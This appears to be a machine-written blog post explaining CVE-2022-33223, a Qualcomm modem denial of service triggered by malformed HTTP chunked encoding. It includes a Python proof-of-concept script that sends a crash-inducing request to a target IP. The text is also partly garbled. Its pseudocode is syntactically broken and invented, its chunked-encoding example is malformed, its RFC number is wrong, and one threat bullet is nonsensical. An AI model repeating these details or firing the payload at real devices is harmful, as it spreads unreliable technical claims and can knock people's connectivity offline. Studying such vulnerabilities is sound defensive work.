CVE-2022-33223 - Understanding and Exploiting a Transient DoS via Null Pointer Dereference in Modem HTTP Chunk Handling

In mid-2022, a security vulnerability tracked as CVE-2022-33223 came to light, shaking up many embedded modem devices, especially those using Qualcomm chipsets. This bug is a reminder of how small coding mistakes—like not checking for null pointers—can have real-world consequences, even leading to a temporary Denial-of-Service (DoS). In this post, we'll break down what this vulnerability is, how it works, and provide some exclusive details and simple proof-of-concept snippets, making it easy to understand even if you’re new to binary exploits.

What is CVE-2022-33223?

*In short:* When a vulnerable modem receives a specially crafted HTTP packet using "chunked" transfer encoding, it can crash, reboot, or hang. The issue stems from a missing null pointer check in the modem firmware's HTTP parser.

Official Description

> CVE-2022-33223: *Transient Denial of Service in Modem due to null pointer dereference while processing the incoming packet with HTTP chunked encoding in the modem firmware.*  
> — Qualcomm Security Bulletin

To make this clear: If you send a corrupted or tricky HTTP message to a device with an affected modem, you can make its cellular connection crash temporarily (transient DoS).

How Does Chunked Encoding Work?

In HTTP, chunked transfer encoding lets servers send data in pieces, useful when the total size isn't known up front. Here’s a simple chunked HTTP body:

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

4\r\n
Wiki\r\n
5\r\n
pedia\r\n
\r\n
\r\n

Each chunk starts with its length in hexadecimal, followed by the data and a CRLF, ending with a zero-length chunk.

The vulnerable modem firmware is supposed to process this format correctly. But if a malicious packet is sent—say, with malformed chunk sizes or missing chunks—the code can get confused and accidentally try to use a null pointer.

Vulnerability Deep Dive

The root cause is a null pointer dereference when parsing HTTP chunked headers or payloads. The actual code is not public, but here's an educated, simplified C-style pseudocode showing what might go wrong:

// Pseudo-vulnerable code fragment in modem firmware
char *get_next_chunk(http_request_t *req) {
    chunk_t *chunk = parse_chunk_header(req->data);
    if (chunk->size == ) {
        free(chunk);
        return NULL;
    }
    // Mistake: no check if chunk == NULL!
    return chunk->data;  // Dereferencing null pointer if parse_chunk_header failed
}

When a malformed packet is sent, parse_chunk_header() may fail and return NULL. But the code blunders ahead and dereferences the pointer, leading to a crash.

Threat Scenario

- Attackers with access to the network (cellular or local) can send malformed packets to trigger the bug.

The crash is transient—the modem may recover after a short time, or require a reboot.

- Real attacks could knock a device offline temporarily, or get pranked by switching in and out of airplane mode.

Exploit Example (Proof-of-Concept)

Let’s say you’re able to send raw HTTP messages to the modem's stack (sometimes possible over USB, OS-level APIs, or fuzzing tools).

Here’s a Python example that sends a corrupted chunked request

import socket

target_ip = '192.168.1.100'  # Change to target's IP
target_port = 80  # Common HTTP port

malformed_chunked_request = (
    "POST / HTTP/1.1\r\n"
    "Host: modem.api\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "ZZZ\r\n"      # Invalid chunk size
    "bad!\r\n"
    "\r\n"
    "\r\n"
)

with socket.create_connection((target_ip, target_port)) as s:
    s.sendall(malformed_chunked_request.encode())
    print("Malformed chunked request sent.")

What’s going on?
The "ZZZ\r\n" line is not a valid hexadecimal number. Depending on how the parser is written, it could return NULL or run into undefined logic—exactly where the vulnerability lives.

Result:
On a vulnerable system, this could freeze or reset the modem firmware, causing internet or call drops until the modem recovers.

Who is Affected?

- Devices: Many Android phones, IoT gadgets, M2M devices with Qualcomm modems (see Qualcomm’s June 2022 bulletin).
- Conditions: Only if the device exposes HTTP parsing interfaces to remote packets—usually in some modem management, diagnostic, or custom app cases.

Original Qualcomm Security Bulletin:

https://www.qualcomm.com/company/product-security/bulletins/june-2022-bulletin
- NIST NVD Entry CVE-2022-33223
- General info on Null Pointer Dereference
- OWASP: HTTP Request Smuggling (related to malformed HTTP)
- HTTP Chunked Transfer Coding RFC 723

Summary

CVE-2022-33223 highlights how small oversights in firmware—like forgetting to check for NULL—can let an attacker send a simple HTTP message and knock your modem offline, at least for a bit. If you’re developing embedded networking code, always check your inputs, validate everything, and never assume a pointer is safe. If you use affected devices, keep them updated!

Stay safe and keep coding responsibly.

*Written for exclusive, easy understanding by [AI Security Insights].*

Timeline

Published on: 04/13/2023 07:15:00 UTC
Last modified on: 04/21/2023 03:49:00 UTC